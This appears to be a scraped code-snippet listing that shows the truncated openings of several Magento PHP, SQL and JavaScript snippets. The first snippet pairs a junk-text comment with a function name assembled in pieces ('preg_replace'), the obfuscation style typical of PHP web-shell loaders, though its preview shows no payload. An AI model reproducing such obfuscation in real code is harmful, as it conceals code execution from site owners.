This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/*wjmrwg7zaBtVqBVJWTiNkMPYQaLo69qgsNaDo44B0 | |
cCMmj329Ck4XgeOptvyyiFcbxxnEH4hqUkA | |
1wg2XkWSfr95qFlGyMYiGWl74mr0AbW | |
ssFfmIQzzd6KgyGQ2ic1JNyRbY7g7bqNzgjFzHedKADKVv9VW | |
5mEhySWK1fOoZxcrrkPh8u7BHQQraF5r | |
*/ | |
$RuoGzMJ='preg_'. 'rep'. 'l'.'a'.'c'. 'e'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class XXX_FileRestriction_IdController extends Mage_Core_Controller_Front_Action | |
{ | |
/** | |
* Allow URLs like http://domain.tld/downloader/id/4711 | |
* without any rewrite syntax | |
* | |
* @param string $method | |
* @param array $args |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* XML rewrite: | |
* | |
* <config><global><models> | |
<catalog_resource> | |
<rewrite> | |
<layer_filter_attribute>Namespace_Module_Model_Resource_Layer_Filter_Attribute</layer_filter_attribute> | |
</rewrite> | |
</catalog_resource> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Namespace_Module_Model_Observer_FormatPrice | |
{ | |
public function formatPrice(Varien_Event_Observer $observer) | |
{ | |
$event = $observer->getEvent(); | |
$options = $event->getCurrencyOptions(); | |
/** |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @var $installer Mage_Catalog_Model_Resource_Eav_Mysql4_Setup | |
*/ | |
$installer = $this; | |
$installer->startSetup(); | |
$tables = array( | |
$installer->getTable('catalog/category_anchor_products_indexer_idx'), | |
$installer->getTable('catalog/category_anchor_products_indexer_tmp') | |
); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- idea: rebuild this via php and use mysql.information_schema to automatically figure out tables with column store_id resp. website_id | |
-- maybe include it into n98-magerun | |
# DEFINE | |
SET @to_store := 8; | |
SET @to_website := 4; | |
SET @from_store := 2; | |
SET @from_website := 3; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Returns a PDO parameter constant to bind a variable with | |
* | |
* @param string $type Which variable type to check | |
* | |
* @return int PDO parameter constant | |
*/ | |
public static function getBindConstant($type) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
load js libs: | |
'/Resources/public/js/lib/ace/ace.js' | |
'/Resources/public/js/lib/ace/mode-diff.js' | |
'/Resources/public/js/lib/ace/theme-chrome.js' | |
https://github.com/Slava/diff.js/blob/master/diff.js | |
*/ | |
var data = { /*json from server ... */ | |
after: [ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Checkout subscribe checkbox block renderer | |
* | |
* @category Ebizmarts | |
* @package Ebizmarts_MageMonkey | |
* @author Ebizmarts Team <info@ebizmarts.com> | |
*/ | |
class Ebizmarts_MageMonkey_Block_Checkout_Subscribe extends Ebizmarts_MageMonkey_Block_Lists |